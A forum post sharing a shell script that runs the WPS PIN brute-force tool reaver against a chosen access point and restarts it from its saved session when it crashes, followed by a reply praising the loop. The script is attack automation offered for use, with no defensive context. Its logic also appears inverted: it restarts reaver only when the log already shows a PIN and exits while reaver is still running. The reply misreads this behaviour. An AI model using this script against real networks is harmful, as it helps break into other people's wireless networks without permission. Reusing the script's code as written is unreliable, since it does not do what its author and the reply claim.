Reaver watchdog script

[joker5bb]

When using reaver I have run into a segmentation fault bug which crashes reaver.
I put a script together to restart reaver if it has not yet recovered a PIN.

#!/bin/sh

trap 'cleanup' 1 2 15

display_help() {
echo "
 Usage: $0 [options]

 OPTIONS:
	-b        BSSID
	-c        Target AP channel
	-i        Monitor Interface 
"
}

cleanup() {
killall reaver
exit 0
}

while getopts "b:c:i:" opt; do
   case $opt in
	b ) bssid=$OPTARG >&2 ;;
	c ) channel=$OPTARG >&2 ;;
	i ) interface=$OPTARG >&2 ;;
	\?) display_help >&2 ; exit 1 ;;
   esac
done

if [ "$#" -eq "0" ] || [ -z "$bssid" ] || [ -z "$channel" ] || [ -z "$interface" ]; then
	display_help >&2
	exit 1
fi


command=$(ifconfig -a | grep $interface | awk '{print $1}')
if [ "$command" != "$interface" ]
then
	echo "interface not found"
	exit 0
fi

ifconfig $interface up
reaver -i $interface -c $channel -b $bssid -vv -o /tmp/reaver.log -D

while :
   do
	sleep 60
	if [ -z "$(pidof reaver)" ]
	then
		command=$(tail /tmp/reaver.log | grep "WPS PIN")
		if [ -n "$command" ]
			then
			session=$(echo $bssid | sed -e 's/://g')
			reaver -i $interface -c $channel -b $bssid -vv -s /usr/local/etc/reaver/$session.wpc -o /tmp/reaver.log -D    	   
		fi
	else
		break
	fi
done

Thanks for the script

while :
do
sleep 60

I never saw "while :"
If i understand well you are making a while loop that will never end because it has no condition and exit it by "break" when the "WPS PIN" is recovered
I realy like this idea ( if i got it right ) that is faster then to search for a condition that feets to our purpose.
Thanks for sharing
